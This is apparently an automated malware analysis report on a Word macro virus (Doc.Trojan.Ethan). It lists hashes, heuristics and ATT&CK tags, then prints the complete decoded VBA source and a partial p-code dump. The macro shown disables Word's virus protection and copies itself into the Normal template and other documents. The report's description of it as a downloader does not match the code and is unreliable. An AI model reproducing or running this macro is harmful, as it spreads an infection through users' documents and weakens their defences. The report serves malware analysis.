Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 61fca721d2244696…

MALICIOUS

Office (OLE)

27.5 KB Created: 1999-06-14 20:24:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7ed9315e67b28a805bec281ffbb63c7d SHA-1: 217cffde116ba6f3164ba8af34ffd815ac4d90ab SHA-256: 61fca721d22446968503b27ef8662bf1cc1129485cd468860fc7c79a235f9f3a
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros that are designed to extract themselves into a temporary file named 'c:\temp\~msd13.tmp'. This file is then likely intended to be executed, suggesting the document acts as a downloader for a second-stage payload. The presence of VBA macros and the nature of the script strongly indicate a malicious document, likely delivered via spearphishing.

Heuristics 2

  • ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-20
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5939 bytes
SHA-256: de5bf65fc192cc661986b3bd3e0d948838d96d6481ac826011e733b58d40056d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
    On Error Resume Next
    s = ActiveDocument.Saved
    Application.EnableCancelKey = Not -1
    With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
    If Dir("c:\temp\~msd13.tmp", 6) = "" Then
        Open "c:\temp\~msd13.tmp" For Output As #1
        For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
            a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
            Print #1, a
        Next i
        Close #1
    SetAttr "c:\temp\~msd13.tmp", 6
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
    Set t = NormalTemplate.VBProject.VBComponents.Item(1)
    ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
    Set t = ActiveDocument.VBProject.VBComponents.Item(1)
    Else
    t = ""
    End If
    If t <> "" Then
    Open "c:\temp\~msd13.tmp" For Input As #1
    If LOF(1) = 0 Then GoTo q
    i = 1
    Do While Not EOF(1)
    Line Input #1, a
    t.CodeModule.InsertLines i, a
    i = i + 1
    Loop
q:
    Close #1
    If Day(Now) = 1 And Month(Now) = 4 Then MsgBox "You're An April Fool!!!", 48, "April Fool"
    If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
    End If
    If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub


' Processing file: /opt/analyzer/scan_staging/c9e33327596b45dfb03e3ab4775850c6.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3166 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #3:
' 	LitDI2 0x0001 
' 	UMi 
' 	Not 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #4:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #5:
' 	LitStr 0x0012 "c:\temp\~msd13.tmp"
' 	LitDI2 0x0006 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #6:
' 	LitStr 0x0012 "c:\temp\~msd13.tmp"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #7:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #8:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St a 
' Line #9:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld a 
' 	PrintItemNL 
' Line #10:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #11:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #12:
' 	LitStr 0x0012 "c:\temp\~msd13.tmp"
' 	LitDI2 0x0006 
' 	ArgsCall SetAttr 0x0002 
' Line #13:
' 	EndIfBlock 
' Line #14:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x001C "Private Sub Document_Close()"
' 	Ne 
' 	IfBlock 
' Line #15:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set t 
' Line #16:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.